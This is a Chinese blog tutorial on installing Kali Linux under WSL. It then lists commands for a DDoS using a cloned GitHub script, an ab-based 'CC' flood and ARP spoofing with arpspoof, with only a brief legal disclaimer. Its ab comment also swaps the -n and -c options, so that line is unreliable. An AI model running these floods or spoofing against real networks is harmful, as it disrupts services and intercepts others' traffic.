武汉新闻网 今日新闻杭州seo论坛

😏★,°:.☆(￣▽￣)/$:.°★ 😏
这篇文章主要介绍WSL安装Kali及基本操作。
学其所用，用其所学。——梁启超
欢迎来到我的博客，一起学习，共同进步。
喜欢的朋友可以关注一下，下次更新不迷路🥞

😏1. Kali-Linux介绍

官网：https://www.kali.org/

Kali Linux是一款基于Debian的Linux发行版，旨在为渗透测试和网络安全领域提供全面的工具集合。它是由Offensive Security团队开发和维护的，专门用于渗透测试、漏洞评估和数字取证等任务。

Kali Linux内置了大量的安全工具和软件包，涵盖了各种渗透测试和网络攻防领域的需求。其中包括信息收集工具、漏洞扫描器、密码破解工具、无线网络工具、社会工程学工具、数字取证工具等等。这些工具的使用使得Kali成为了安全专业人员、网络管理员和渗透测试人员的首选操作系统。

除了强大的工具集合外，Kali还提供了一个友好的用户界面和易于使用的命令行界面，以满足不同用户的需求。它被广泛应用于安全评估、网络渗透测试、漏洞研究、恶意代码分析等领域。

值得注意的是，Kali Linux是一款专业的工具，仅用于合法的安全测试和授权的活动。非法使用这些工具可能会触犯法律或侵犯他人的隐私权，因此在使用Kali之前，请确保遵守适用的法律法规。

敲重点：只是学习使用！学习使用！学习使用！

😊2. 环境安装与配置

可以选择安装纯Kali Linux系统，或者用VMware等安装虚拟机系统，或者跟着本文来安装WSL系统。

WSL的基本操作可参考上一篇：http://t.csdnimg.cn/monkk

下面在WSL上安装Kali Linux：

# 打开windows terminal终端，先用wsl -l查看已安装的发行版
wsl --install -d kali-linux

安装成功后如下：

更换国内源：

# 打开源文件
sudo nano /etc/apt/sources.list
# 注释原来的源，替换成下面的
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
# 更新
sudo apt update

😆3. 基本操作

查看域名信息

whois baidu.com

DDos攻击

# 下载py代码
git clone https://github.com/Andysun06/ddos
cd ddos
# 根据python版本选择
python2 ddos-p2.py
python3 ddos-p3.py
# 可以用自己博客的地址和端口进行测试，实际类似于不断向某一地址发送非法请求

CC攻击

可以在Kali Linux上使用ab命令进行基准测试和性能测量，以评估Web服务器的性能和负载能力。

# 安装
sudo apt install apache2-utils
# ab -n 参数1（并发数） -c 参数2（发送总量） 网站地址
ab -n 1000 -c 10 网站地址

ARP欺骗

ARP欺骗（ARP spoofing）是一种网络攻击技术，用于在局域网中篡改或伪造网络设备之间的ARP（地址解析协议）表项，从而实现网络流量的劫持、欺骗或监听。

# 安装
sudo apt install dsniff fping
# 嗅探所在WLAN下所有设备的IP地址
fping -g 本机IP地址/24
# arpspoof -i 网卡名称 -t 攻击目标的IP地址 攻击目标的网关地址，如
arpspoof -i eth0 -t 192.168.0.118 192.168.0.1

以上。